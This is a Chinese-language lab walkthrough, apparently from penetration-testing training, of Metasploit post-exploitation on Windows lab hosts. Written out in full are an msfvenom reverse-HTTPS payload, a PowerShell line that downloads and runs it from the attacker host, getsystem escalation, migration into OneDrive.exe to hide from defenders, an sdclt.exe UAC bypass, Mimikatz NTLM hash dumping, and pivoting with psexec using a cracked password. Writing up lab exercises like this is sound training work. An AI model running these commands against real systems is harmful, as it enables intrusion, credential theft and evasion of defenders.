Meterpreter 核心利用後功能與模組暨旋轉
Meterpreter 核心利用後功能與模組暨旋轉
攻擊機 192.168.45.242
靶機 192.168.186.223(Windows)
建立一個 payload 名稱為 met.exe 如下
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.45.242 LPORT=443 -f exe -o met.exe
sudo msfconsole -q 啟動 Metasploit
search multi handler 並選擇 5 (use 5)
use 5 後 show options 看一下如下圖,payload 是 generic/shell_reverse_tcp
先將 payload 改成 windows/x64/meterpreter_reverse_https
指令 set payload windows/x64/meterpreter_reverse_https 再 show options 看一下必要的欄位
set LHOST 192.168.45.242 & set LPORT 443
執行 run,可以看到攻擊機在本機的 443 Port 上執行了 reverse handler
假設 Windows 靶機已經有一個 4444 連線 shell
下載我們一開始建立的 met.exe,指令如下,啟動 powershell 然後 iwr 下載再 dir 看一下
powershell
iwr -uri http://192.168.45.242/met.exe -Outfile met.exe
dir
執行 payload met.exe
剛剛建立的 443 listen 進來了,執行 idletime 看一下閒置時間
上圖輸出表示使用者已經 27 分 14 秒沒有與系統交互,這表示使用者可能已經離開了電腦
如果 idletime 指令的結果顯示使用者離開,我們可以以此為契機執行可能會短暫顯示命令列視窗(例如CMD或PowerShell)的程式或指令。
對於幾個後利用功能,我們需要管理權限才能執行它們。
Metasploit 包含指令 getsystem,該指令嘗試自動將我們的權限提升到 NT AUTHORITY\SYSTEM
它使用各種使用命名管道模擬和令牌複製的技術。
在預設設定中,getsystem 使用所有可用技術(在說明選單中顯示)嘗試利用 SeImpersonatePrivilege 和 SeDebugPrivilege
在執行getsystem之前,讓我們啟動一個互動式 shell 並確認我們的使用者已指派這兩個權限之一
shell --> 啟動 cmd or powershell
whoami /priv --> 看一下可否提權,SeImpersonatePrivilege 是 Enabled 的狀態,讚
exit --> 回到 meterpreter
目前的權限是一般使用者 luiza
也可以在 meterpreter 下 getuid 查看現有使用者
執行 getsystem 提權(Timeout 就再試一次),再 getuid 看一次已經提權成功
getsystem 透過使用命名管道模擬(PrintSpooler 變體)成功地將我們的權限提升到 NT AUTHORITY\SYSTEM ,就像我們在 Windows 權限提升模組中手動執行的那樣
另一個重要的後利用功能是 migrate。當我們危害主機時,我們的 Meterpreter 有效負載會在我們攻擊或執行有效負載的應用程式的進程內執行。如果受害者關閉該進程,我們對機器的存取也將關閉。此外,根據包含Meterpreter有效負載的Windows二進位檔案的命名方式,如果防禦者正在搜尋進程列表,則進程名稱可能是可疑的。我們可以使用 migrate 將 Meterpreter 負載的執行移至不同的進程。
先執行 ps 看一下現在所有的進程 process
可以看到 met.exe 就是我們剛剛利用的 payload (ID=5308)
接下來我們要執行的是包裝到 OneDrive.exe 這個看來無害的 process (ID = 4480)
直接執行指令 migrate 4480,會將我們剛剛的 5308 包到 4480 裡
再跑一次 ps ,這一次僅會顯示我們這次利用的 OneDriver.exe 執行身分 offsec 相關進程
這時候再執行一次 getuid 會發現身分已經轉換為 offsec 了
我們還可以使用 execute Meterpreter 指令,而不是遷移到現有進程或找不到任何合適的進程來遷移到的情況 。該命令提供了透過指定命令或程序創建新進程的能力。
為了示範這一點,讓我們啟動一個隱藏的記事本進程並以使用者 offsec 遷移到它。為此,我們使用帶有 -H 的執行來建立從視圖中隱藏的進程,並使用 notepad 作為 -f 的參數來指定要執行的命令或程式。然後,我們遷移到新生成的進程。
指令 execute -H -f notepad 創建了一個新的 Process ID 2376
接著遷移到此進程,指令 migrate 2376,會看到原本的 4480 再次被遷移到 2376
本題的 flag 很簡單就是利用讀取 flag 的環境變數,指令 getenv flag
後模組利用
攻擊機 : 192.168.45.208
靶機 : 192.168.186.223
flag 為使用 Kiwi 檢索使用者 offsec 的 NTLM 雜湊
同前面一樣先透過 Shell 進到 Meterpreter 如下
接著先 getsystem 提權
ps 找到 OneDrive.exe,然後用 migrate <Process ID> 遷移,getuid 確認是 offsec
雖然 offsec 是 local Administrators 群組成員之一,但 Windows 的 UAC 將會限制我們
進入 shell,whoami 看一下確認是 offsec,然後執行 powershell -ep bypass 呼叫 powershell
接著匯入 NtObjectManager 模組,參考如下連結 https://www.powershellgallery.com/packages/NtObjectManager/1.1.33
指令 Import-Module NtObjectManager,參考如下連結
接著使用 Get-NtTokenIntegrityLevel 透過檢索和檢查分配的存取權杖來顯示目前程序的完整性等級,結果發現現有的 UAC 等級屬於 Medium
Ctrl+Z with y 再 bg 將 session 先放到背景,回到 Metasploit 主介面
它的目標是 Microsoft 二進位檔案 sdclt.exe
此二進位檔案可被濫用,透過產生完整性等級為 High 的程序來繞過 UAC
use 11 然後 show options 看一下必要的值,需要輸入 SESSION
執行指令
set SESSION 9
set LHOST 192.168.45.208
run 結果不成功,告知沒 SESSION ,set SESSION 1 也不成功
後來將 LPORT 從 4444 改成 4443 就可以跑了
補充說明 : 請看這個站 https://medium.com/@5rvl0c4lr00t/hackthebox-grandpa-write-up-srv-10c4lr00t-d4e0f88168a1
使用 Metasploit 時不知道要利用甚麼模組可以輸入 use post/multi/recon/local_exploit_suggester 再 run
會告知你可以利用的模組
回到靶機,重複之前的指令步驟
shell
powershell -ep bypass
Import-Module NtObjectManager
Get-NtTokenIntegrityLevel
這一次看到等級是 High 了,已經成功繞過了 UAC
退回到 Meterpreter 模組利用介面(Ctrl+Z with y 再輸入 bg)
讓我們重新回到 443 listen 然後 met.exe 利用連接 reverse shell
有了 NT AUTHORITY\SYSTEM 權限,可以執行 local kiwi,因為包含了 Mimikatz 的功能
接著輸入 help 查看 command,我們要用的是
creds_msv Retrieve LM/NTLM creds (parsed)
NTLM 雜湊出來了
練習 2
搜尋可列舉 Windows 主機檔案的後利用模組,並針對 VM 上的活動會話啟動此模組。
該文件的唯一條目的網域名稱是什麼?
執行 search hostfile,只有一個那就直接
use post/windows/gather/enum_hostfile ,然後 show options
set SESSION 1 然後直接 run
└─$ sudo cat /root/.msf4/loot/20231030103841_default_192.168.186.223_hosts.confige_280042.txt
練習 3
靶機有兩台,一台是內網 192.168.186.223 / 172.16.71.200
nc 到第一台後看到有兩隻腳,接下來要利用 Metasploit 直接轉 Port
一樣 met.exe 透過 443 進來後 getsystem 提權然後 bg
另一個網段是 172.16.71.0/24
接著執行 route add 172.16.71.0/24 1 (1 指的是上圖 bg 背後的 SESSION 1)
route print 看一下確認新增成功,成功就表示內網已經通了
接著使用模組 use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.71.200
set PORTS 445,3389
run
445 & 3389 都是顯示 OPEN
首先使用 psexec 來試試看,use exploit/windows/smb/psexec
執行指令
set SMBUser luiza
set SMBPass "BoccieDearAeroMeow1!" --> 上一節拿到的 Hash 破解出來的明碼
set RHOSTS 172.16.71.200
set payload windows/x64/meterpreter/bind_tcp
set LHOST 192.168.45.208
set LPORT 8000
run
留言
張貼留言